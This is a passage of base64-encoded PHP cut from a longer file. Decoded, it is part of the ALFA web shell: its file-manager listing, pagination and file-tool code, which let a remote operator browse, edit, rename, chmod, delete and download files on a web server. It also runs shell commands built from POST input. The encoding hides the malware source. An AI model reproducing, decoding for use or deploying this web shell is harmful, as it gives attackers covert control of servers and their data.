ZSgkR0xPQkFMU1snY3dkJ10gLiAkZmlsZW5hbWUpKTsKJGZpbGVfcGVybSA9IGFsZmFQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpOwokZmlsZV9zaXplID0gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpOwokZmlsZV9wYXRoID0gJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZTsKfQokdG1wID0gYXJyYXkoJ25hbWUnID0+ICRmaWxlbmFtZSwKJ3BhdGgnID0+ICRmaWxlX3BhdGgsCidtb2RpZnknID0+ICRmaWxlX21vZGlmeSwKJ3Blcm1zJyA9PiAkZmlsZV9wZXJtLAonc2l6ZScgPT4gJGZpbGVfc2l6ZSwKJ293bmVyJyA9PiAkZmlsZV9vd25lciwKJ2dyb3VwJyA9PiAkZmlsZV9ncm91cAopOwppZigkZmlsZW5hbWUgPT0gIi4uIiAmJiAhJGNtZF9kaXIpewoJJHRtcFsicGF0aCJdID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCByZWFscGF0aCgkZmlsZV9wYXRoKSk7Cn0KaWYoISRjbWRfZGlyKXsKaWYoQGlzX2ZpbGUoJGZpbGVfcGF0aCkpewokYXJyX21yZyA9IGFycmF5KCd0eXBlJyA9PiAnZmlsZScpOwppZihAaXNfbGluaygkZmlsZV9wYXRoKSl7CiRhcnJfbXJnWyJsaW5rIl0gPSByZWFkbGluaygkdG1wWydwYXRoJ10pOwp9CiRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgJGFycl9tcmcpOwp9ZWxzZWlmKEBpc19saW5rKCRmaWxlX3BhdGgpKXsKJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7Cn1lbHNlaWYoQGlzX2RpcigkZmlsZV9wYXRoKSYmICgkZmlsZW5hbWUgIT0gIi4iKSl7CiRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsKfQp9ZWxzZXsKCWlmKCRkaXJDb250ZW50WyRpXVsidHlwZSJdPT0iZmlsZSIpewoJCSRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOwoJfWVsc2V7CgkJaWYoJGRpckNvbnRlbnRbJGldWyJuYW1lIl0gIT0gIi4iKXsKCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwoJCX0KCX0KfQp9CiRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsKZnVuY3Rpb24gYWxmYUNtcCgkYSwgJGIpIHsKaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCnJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKZWxzZQpyZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwp9CnVzb3J0KCRmaWxlcywgImFsZmFDbXAiKTsKdXNvcnQoJGRpcnMsICJhbGZhQ21wIik7CmlmKGlzc2V0KCRfQ09PS0lFWyJhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvbiJdKSYmICFlbXB0eSgkX0NPT0tJRVsiYWxmYV9maWxlc21hbl9kaXJlY3Rpb24iXSkpewoJaWYoJF9DT09LSUVbImFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uIl0gPT0gJ2Rlc2MnKXsKCQkkZmlsZXMgPSBhcnJheV9yZXZlcnNlKCRmaWxlcyk7CgkJJGRpcnMgPSBhcnJheV9yZXZlcnNlKCRkaXJzKTsKCX0KfQokZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsKJGw9MDsKJGNjPTA7CmZvcmVhY2goJGZpbGVzIGFzICRmKXsKJGZbJ25hbWUnXSA9IGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk7CiRuZXduYW1lID0gbWJfc3RybGVuKCRmWyduYW1lJ10sICdVVEYtOCcpPjYwP21iX3N1YnN0cigkZlsnbmFtZSddLCAwLCA2MCwgJ3V0Zi04JykuJy4uLic6JGZbJ25hbWUnXTsKJGNoZWNrYm94ID0gJ2NoZWNrYm94XycuJGNoZWNrYm94X3JhbmQuJGNjOwokcmF3X25hbWUgPSByYXd1cmxlbmNvZGUoJGZbJ25hbWUnXSk7CiRpY29uID0gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPyc8aW1nIHNyYz0iJy5maW5kaWNvbigkZlsnbmFtZSddLCRmWyd0eXBlJ10pLiciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCI+JzonJzsKJHN0eWxlID0gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPydwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmlubGluZS1ibG9jaztib3R0b206MTJweDsnOicnOwplY2hvICc8dHIgY2xhc3M9ImZtYW5hZ2VyLXJvdyIgaWQ9InRyX3Jvd18nLiRjYy4nIj48dGQ+PGRpdiBjbGFzcz0ibXlDaGVja2JveCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmW10iIHZhbHVlPSInLiRyYXdfbmFtZS4nIiBjbGFzcz0iY2hrYngiIGlkPSInLiRjaGVja2JveCAuJyI+PGxhYmVsIGZvcj0iJy4kY2hlY2tib3ggLiciPjwvbGFiZWw+PC9kaXY+PC90ZD48dGQgaWQ9InRkX3Jvd18nLiRjYy4nIj4nLiRpY29uLic8ZGl2IHN0eWxlPSInLiRzdHlsZS4nIj48YSByb3c9IicuJGNjLiciIGlkPSJpZF8nLiRjYy4nIiBjbGFzcz0ibWFpbl9uYW1lIiBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLFwnYXV0b1wnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJyk7IiBocmVmPSIjYWN0aW9uPWZpbGVtYW4mcGF0aD0nLiRHTE9CQUxTWydjd2QnXS4nJmZpbGU9Jy4kcmF3X25hbWUuJyIgZm5hbWU9IicuJHJhd19uYW1lLiciIGZ0eXBlPSJmaWxlIiBwYXRoPSInLiRHTE9CQUxTWydjd2QnXS4nIiBvcHRfdGl0bGU9IicuJGZbJ2xpbmsnXS4nIiAnLihpc3NldCgkZlsnbGluayddKT8nb25tb3VzZW92ZXI9InNob3dTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiIG9ubW91c2VvdXQ9ImhpZGVTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiJzonJykuJz4nLigkR0xPQkFMU1snY3dkJ10uJGZbJ25hbWUnXT09JEdMT0JBTFNbJ19fZmlsZV9wYXRoJ10/IjxzcGFuIGNsYXNzPSdzaGVsbF9uYW1lJyBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7Jz4iLiRmWyduYW1lJ10uIjwvc3Bhbj4iOmh0bWxzcGVjaWFsY2hhcnMoJG5ld25hbWUpKTonZyhcJ0ZpbGVzTWFuXCcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiIGhyZWY9IiNhY3Rpb249ZmlsZW1hbiZwYXRoPScuJGZbJ3BhdGgnXS4nIiBmbmFtZT0iJy4kcmF3X25hbWUuJyIgZnR5cGU9ImZvbGRlciIgcGF0aD0iJy4kR0xPQkFMU1snY3dkJ10uJyIgb3B0X3RpdGxlPSInLiRmWydsaW5rJ10uJyIgJy4oaXNzZXQoJGZbJ2xpbmsnXSk/J29ubW91c2VvdmVyPSJzaG93U3ltbGlua1BhdGgodGhpcyxldmVudCk7IiBvbm1vdXNlb3V0PSJoaWRlU3ltbGlua1BhdGgodGhpcyxldmVudCk7Iic6JycpLic+PGI+fCAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgfDwvYj4nKS4nPC9hPjwvdGQ+PC9kaXY+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX3NpemUiPicuKCgkZlsndHlwZSddPT0nZmlsZScpPyhpc3NldCgkZlsnbGluayddKT8nW0xdICc6JycpLmFsZmFTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fbW9kaWZ5Ij4nLiRmWydtb2RpZnknXS4nPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX293bmVyX2dyb3VwIj4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC9zcGFuPjwvdGQ+PHRkPjxhIGlkPSJpZF9jaG1vZGVfJy4kY2MuJyIgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLFwnY2htb2RcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj4nLgokZlsncGVybXMnXS4nPC90ZD48dGQ+PGEgaWQ9ImlkX3JlbmFtZV8nLiRjYy4nIiB0aXRsZT0iUmVuYW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ3JlbmFtZVwnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJykiPlI8L2E+IDxhIGlkPSJpZF90b3VjaF8nLiRjYy4nIiB0aXRsZT0iTW9kaWZ5IERhdGV0aW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ3RvdWNoXCcsXCdcJyxcJ1wnLFwnXCcsXCcnLiRmWyd0eXBlJ10uJ1wnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGlkPSJpZF9lZGl0XycuJGNjLiciIGNsYXNzPSJhY3Rpb25zIiB0aXRsZT0iRWRpdCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ2VkaXRcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj5FPC9hPiA8YSBpZD0iaWRfZG93bmxvYWRfJy4kY2MuJyIgdGl0bGU9IkRvd25sb2FkIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy4kcmF3X25hbWUuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPic6JycpLic8YSBpZD0iaWRfZGVsZXRlXycuJGNjLiciIHRpdGxlPSJEZWxldGUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJ2YXIgY2hrID0gY29uZmlybShcJ0FyZSBZb3UgU3VyZSBGb3IgRGVsZXRlICMgJy5hZGRzbGFzaGVzKHJhd3VybGRlY29kZSgkZlsnbmFtZSddKSkuJyAjID9cJyk7IGNoayA/IGcoXCdGaWxlc01hblwnLG51bGwsXCdkZWxldGVcJywgXCcnLiRyYXdfbmFtZS4nXCcpIDogXCdcJzsiPiBYIDwvYT48L3RkPjwvdHI+JzsKJGwgPSAkbD8wOjE7CiRjYysrOwp9CmVjaG8gIjx0ciBpZD0nZmlsZW1hbmFnZXJfbGFzdF90cic+PHRkIGNvbHNwYW49Nz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoKCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKSkuIic+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiInPgo8c2VsZWN0IGlkPSd0b29sc19zZWxlY3RvcicgbmFtZT0nYWxmYTEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJyBzZWxlY3RlZD5EZWxldGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd6aXAnPkFkZCAyIENvbXByZXNzICh6aXApPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndW56aXAnPkFkZCAyIFVuY29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGUgLyBaaXAgLyBVbnppcCA8L29wdGlvbj48L3NlbGVjdD4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPgo8L2Zvcm0+PC90YWJsZT48ZGl2IGNsYXNzPSdwYWdlcy1ob2xkZXInPjxkaXYgY2xhc3M9J3BhZ2VzLW51bWJlcic+Ii4kcGFnZV9idWlsZGVyLiI8L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gZ2V0X3BhZ2luYXRpb25fbGlua3MoJGN1cnJlbnRfcGFnZSwgJHRvdGFsX3BhZ2VzKXsKICAgICRsaW5rcyA9ICIiOwogICAgaWYgKCR0b3RhbF9wYWdlcyA+PSAxICYmICRjdXJyZW50X3BhZ2UgPD0gJHRvdGFsX3BhZ2VzKSB7CgkJJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyXCI+PDw8L2E+IjsKCQkkc2VsZWN0ZWRfcGFnZSA9ICIiOwoJCWlmKCRjdXJyZW50X3BhZ2UgPT0gMSl7CgkJCSRzZWxlY3RlZF9wYWdlID0gIiBhY3RpdmUtcGFnZS1udW1iZXIiOwoJCX0KICAgICAgICAkbGlua3MgLj0gIjxhIG9uY2xpY2s9XCJwYWdlQ2hhbmdlZEZpbGVzTWFuKHRoaXMpO1wiIGNsYXNzPVwicGFnZS1udW1iZXIiLiRzZWxlY3RlZF9wYWdlLiJcIj4xPC9hPiI7CiAgICAgICAgJGkgPSBtYXgoMiwgJGN1cnJlbnRfcGFnZSAtIDUpOwogICAgICAgIGlmICgkaSA+IDIpCiAgICAgICAgICAgICRsaW5rcyAuPSAiPGEgY2xhc3M9XCJwYWdlLW51bWJlclwiPi4uLjwvYT4iOwogICAgICAgIGZvciAoOyAkaSA8IG1pbigkY3VycmVudF9wYWdlICsgNiwgJHRvdGFsX3BhZ2VzKTsgJGkrKykgewoJCQlpZigkaSA9PSAkY3VycmVudF9wYWdlKXsKCQkJCSRzZWxlY3RlZF9wYWdlID0gIiBhY3RpdmUtcGFnZS1udW1iZXIiOwoJCQl9ZWxzZXsKCQkJCSRzZWxlY3RlZF9wYWdlID0gIiI7CgkJCX0KICAgICAgICAgICAgJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyIi4kc2VsZWN0ZWRfcGFnZS4iXCI+eyRpfTwvYT4iOwogICAgICAgIH0KICAgICAgICBpZiAoJGkgIT0gJHRvdGFsX3BhZ2VzKQogICAgICAgICAgICAkbGlua3MgLj0gIjxhIGNsYXNzPVwicGFnZS1udW1iZXJcIj4uLi48L2E+IjsKCQkkc2VsZWN0ZWRfcGFnZSA9ICIgbGFzdC1wYWdlLW51bWJlciI7CgkJaWYoJGN1cnJlbnRfcGFnZSA9PSAkdG90YWxfcGFnZXMpewoJCQkkc2VsZWN0ZWRfcGFnZSAuPSAiIGFjdGl2ZS1wYWdlLW51bWJlciI7CgkJfQogICAgICAgICRsaW5rcyAuPSAiPGEgb25jbGljaz1cInBhZ2VDaGFuZ2VkRmlsZXNNYW4odGhpcyk7XCIgY2xhc3M9XCJwYWdlLW51bWJlciIuJHNlbGVjdGVkX3BhZ2UuIlwiPnskdG90YWxfcGFnZXN9PC9hPiI7CgkJJGxpbmtzIC49ICI8YSBvbmNsaWNrPVwicGFnZUNoYW5nZWRGaWxlc01hbih0aGlzKTtcIiBjbGFzcz1cInBhZ2UtbnVtYmVyXCI+Pj48L2E+IjsKICAgIH0KICAgIHJldHVybiAkbGlua3M7Cn0KZnVuY3Rpb24gYWxmYUZpbGVzVG9vbHMoKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz0iZmlsZXN0b29scyIgc3R5bGU9ImhlaWdodDogMTAwJTsiPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkpJF9QT1NUWydhbGZhMSddID0gcmF3dXJsZGVjb2RlKCRfUE9TVFsnYWxmYTEnXSk7CiRhbGZhMV9kZWNvZGVkID0gJF9QT1NUWydhbGZhMSddOwokY2hkaXJfZmFscyA9IGZhbHNlOwppZighQGNoZGlyKCRfUE9TVFsnYyddKSl7CgkkY2hkaXJfZmFscyA9IHRydWU7CgkkX1BPU1RbJ2FsZmExJ10gPSAkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJhbGZhMSJdOwoJJGFsZmFfY2FucnVuY21kID0gX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKTsKCWlmKCRhbGZhX2NhbnJ1bmNtZCl7CgkJJHNsYXNoZWRfYWxmYTEgPSBhZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSk7CgkJJGZpbGVfaW5mbyA9IGV4cGxvZGUoIjoiLCBhbGZhRXgoJ3N0YXQgLWMgIiVGOiVVOiVHOiVzOiVZOjAlYTolQSIgIicuJHNsYXNoZWRfYWxmYTEuJyInKSk7CgkJJHBlcm1fY29sb3JfY2xhc3MgPSBhbGZhRXgoImlmIFtbIC13ICciLiRzbGFzaGVkX2FsZmExLiInIF1dOyB0aGVuIGVjaG8gbWFpbl9ncmVlbl9wZXJtOyBlbGlmIFtbIC1yICciLiRzbGFzaGVkX2FsZmExLiInIF1dOyB0aGVuIGVjaG8gbWFpbl93aGl0ZV9wZXJtOyBlbHNlIGVjaG8gbWFpbl9yZWRfcGVybTsgZmkiKTsKCX0KfQppZigkX1BPU1RbJ2FsZmEyJ10gPT0gJ2F1dG8nKXsKaWYoaXNfYXJyYXkoQGdldGltYWdlc2l6ZSgkX1BPU1RbJ2FsZmExJ10pKSl7CiRfUE9TVFsnYWxmYTInXSA9ICdpbWFnZSc7Cn1lbHNlewoJJF9QT1NUWydhbGZhMiddID0gJ3ZpZXcnOwoJaWYoJGNoZGlyX2ZhbHMpewoJCWlmKCRhbGZhX2NhbnJ1bmNtZCl7CgkJCSRtaW1lID0gZXhwbG9kZSgiOiIsIGFsZmFFeCgiZmlsZSAtLW1pbWUtdHlwZSAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSkuIiciKSk7CgkJCSRtaW1ldHlwZSA9ICRtaW1lWzFdOwoJCQlpZighZW1wdHkoJG1pbWV0eXBlKSl7CgkJCQlpZihzdHJzdHIoJG1pbWV0eXBlLCAiaW1hZ2UiKSl7CgkJCQkJJF9QT1NUWydhbGZhMiddID0gJ2ltYWdlJzsKCQkJCX0KCQkJfQoJCX0KCX0KfQp9CmlmKCRfUE9TVFsnYWxmYTInXSA9PSAicmVuYW1lIiAmJiAhZW1wdHkoJF9QT1NUWydhbGZhMyddKSAmJiBAaXNfd3JpdGFibGUoJF9QT1NUWydhbGZhMSddKSl7JHJlbmFtZV9jYWNoZSA9ICRfUE9TVFsnYWxmYTMnXTt9CmlmKEAkX1BPU1RbJ2FsZmEyJ10gPT0gJ21rZmlsZScpewokX1BPU1RbJ2FsZmExJ10gPSB0cmltKCRfUE9TVFsnYWxmYTEnXSk7CmlmKCRjaGRpcl9mYWxzJiYkYWxmYV9jYW5ydW5jbWQpewoJaWYoX2FsZmFfaXNfd3JpdGFibGUoJF9QT1NUWyJjIl0pKXsKCQlhbGZhRXgoImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInO3RvdWNoICciLmFkZHNsYXNoZXMoJGFsZmExX2RlY29kZWQpLiInIik7CgkJJF9QT1NUWydhbGZhMiddID0gImVkaXQiOwoJfQp9CmlmKCFAZmlsZV9leGlzdHMoJF9QT1NUWydhbGZhMSddKSl7CiRmcCA9IEBmb3BlbigkX1BPU1RbJ2FsZmExJ10sICd3Jyk7CmlmKCRmcCl7CiRfUE9TVFsnYWxmYTInXSA9ICJlZGl0IjsKZmNsb3NlKCRmcCk7Cn0KfWVsc2V7CiRfUE9TVFsnYWxmYTInXSA9ICJlZGl0IjsKfQp9CmlmKCFfYWxmYV9maWxlX2V4aXN0cyhAJF9QT1NUWydhbGZhMSddKSl7CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48cD48ZGl2IGNsYXNzPVwidHh0Zm9udFwiPjxmb250IGNvbG9yPSdyZWQnPiEuLi5GSUxFIERPRVNUIE5PVCBFWElUUy4uLiE8L2ZvbnQ+PC9kaXY+PC9wPjwvY2VudGVyPjwvZGl2PjxzY3JpcHQ+ZWRpdG9yX2Vycm9yPWZhbHNlO3JlbW92ZUhpc3RvcnkoJyIuJF9QT1NUWydhbGZhNCddLiInKTs8L3NjcmlwdD4iOwphbGZhRm9vdGVyKCk7CnJldHVybjsKfQppZigkY2hkaXJfZmFscyl7CiRmaWxlc2l6ZSA9ICRmaWxlX2luZm9bM107CiR1aWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMV07CiRnaWRbIm5hbWUiXSA9ICRmaWxlX2luZm9bMl07CiRwZXJtY29sb3IgPSBhbGZhUGVybXNDb2xvcihhcnJheSgiY2xhc3MiPT4kcGVybV9jb2xvcl9jbGFzcywibnVtIj0+JGZpbGVfaW5mb1s1XSwiaHVtYW4iPT4kZmlsZV9pbmZvWzZdKSx0cnVlKTsKfWVsc2V7CiR1aWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydhbGZhMSddKSk6Jyc7CiRnaWQgPSBmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGdyZ2lkIikmJmZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QHBvc2l4X2dldGdyZ2lkKEBmaWxlZ3JvdXAoJF9QT1NUWydhbGZhMSddKSk6Jyc7CmlmKCEkdWlkJiYhJGdpZCl7CiR1aWRbJ25hbWUnXSA9IGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkX1BPU1RbJ2FsZmExJ10pOicnOwokZ2lkWyduYW1lJ10gPSBmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJF9QT1NUWydhbGZhMSddKTonJzsKfQokcGVybWNvbG9yID0gYWxmYVBlcm1zQ29sb3IoJF9QT1NUWydhbGZhMSddKTsKJGZpbGVzaXplID0gQGZpbGVzaXplKCRfUE9TVFsnYWxmYTEnXSk7CmlmKCFpc3NldCgkdWlkWyduYW1lJ10sJGdpZFsnbmFtZSddKXx8ZW1wdHkoJHVpZFsnbmFtZSddKXx8ZW1wdHkoJGdpZFsnbmFtZSddKSl7CglpZihfYWxmYV9jYW5fcnVuQ29tbWFuZCgpKXsKCQlsaXN0KCR1aWRbJ25hbWUnXSwkZ2lkWyduYW1lJ10pID0gZXhwbG9kZSgiOiIsIGFsZmFFeCgnc3RhdCAtYyAiJVU6JUciICInLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0uIi8iLiRfUE9TVFsiYWxmYTEiXSkuJyInKSk7Cgl9Cn0KfQppZihzdWJzdHIoJF9QT1NUWydhbGZhMSddLCAwLCA3KSA9PSAicGhhcjovLyIpewoJJGFsZmFfZmlsZV9kaXJlY3RvcnkgPSAkX1BPU1RbJ2FsZmExJ107Cn1lbHNlewoJJGFsZmFfZmlsZV9kaXJlY3RvcnkgPSBzdHJfcmVwbGFjZSgiLy8iLCAiLyIsKCRjaGRpcl9mYWxzPyIiOiRfUE9TVFsnYyddLicvJykuJF9QT1NUWydhbGZhMSddKTsKfQplY2hvICc8ZGl2IHN0eWxlPSJvdmVyZmxvdzogaGlkZGVuO3doaXRlLXNwYWNlOiBub3dyYXA7dGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7Ij48c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKGJhc2VuYW1lKCRhbGZhMV9kZWNvZGVkKSkuJyA8c3BhbiBjbGFzcz0iZWRpdG9yX2ZpbGVfaW5mb192YXJzIj5TaXplOjwvc3Bhbj4gJy5hbGZhU2l6ZSgkZmlsZXNpemUpLicgPHNwYW4gY2xhc3M9ImVkaXRvcl9maWxlX2luZm9fdmFycyI+UGVybWlzc2lvbjo8L3NwYW4+ICcuJHBlcm1jb2xvci4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nIDxzcGFuIGNsYXNzPSJlZGl0b3JfZmlsZV9pbmZvX3ZhcnMiPkRpcmVjdG9yeTo8L3NwYW4+ICcuZGlybmFtZSgkYWxmYV9maWxlX2RpcmVjdG9yeSkuJzwvZGl2Pic7CmlmKGVtcHR5KCRfUE9TVFsnYWxmYTInXSkpJF9QT1NUWydhbGZhMiddID0gJ3ZpZXcnOwppZighX2FsZmFfaXNfZGlyKCRfUE9TVFsnYWxmYTEnXSkpewokbSA9IGFycmF5KCdWaWV3JywgJ0Rvd25sb2FkJywgJ0hpZ2hsaWdodCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnLCAnRGVsZXRlJywgJ0ltYWdlJywgJ0hleGR1bXAnKTsKJGZ0eXBlID0gImZpbGUiOwp9ZWxzZXsKJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiRmdHlwZSA9ICJkaXIiOwp9CmVjaG8oJzxkaXY+Jyk7CmZvcmVhY2goJG0gYXMgJHYpCmVjaG8gJHYgPT0gJ0RlbGV0ZScgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0idmFyIGNoaz1jb25maXJtKFwnQXJlIFlvdSBTdXJlIEZvciBEZWxldGUgVGhpcyBGaWxlID9cJyk7Y2hrP2VkaXRvcihcJycuYWRkc2xhc2hlcyghaXNzZXQoJHJlbmFtZV9jYWNoZSk/JF9QT1NUWydhbGZhMSddOiRyZW5hbWVfY2FjaGUpLidcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnLFwnXCcsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJyk6XCdcJzsiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydhbGZhMiddKT8nPGI+PHNwYW4gY2xhc3M9ImVkaXRvcl9hY3Rpb25zIj4gJy4kdi4nIDwvc3Bhbj4gPC9iPic6JHYpLicgfCA8L3NwYW4+PC9hPiAnIDogJzxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9ImVkaXRvcihcJycuYWRkc2xhc2hlcyghaXNzZXQoJHJlbmFtZV9jYWNoZSk/JF9QT1NUWydhbGZhMSddOiRyZW5hbWVfY2FjaGUpLidcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnLFwnXCcsXCcnLiRfUE9TVFsnYyddLidcJyxcJycuJF9QT1NUWydhbGZhNCddLidcJyxcJycuJGZ0eXBlLidcJykiPjxzcGFuIGNsYXNzPSJlZGl0b3JfYWN0aW9ucyI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydhbGZhMiddKT8nPGI+PHNwYW4gY2xhc3M9ImVkaXRvcl9hY3Rpb25zIj4gJy4kdi4nIDwvc3Bhbj4gPC9iPic6JHYpLicgfCA8L3NwYW4+PC9hPic7CmVjaG8gJzwvZGl2Pic7CnN3aXRjaCgkX1BPU1R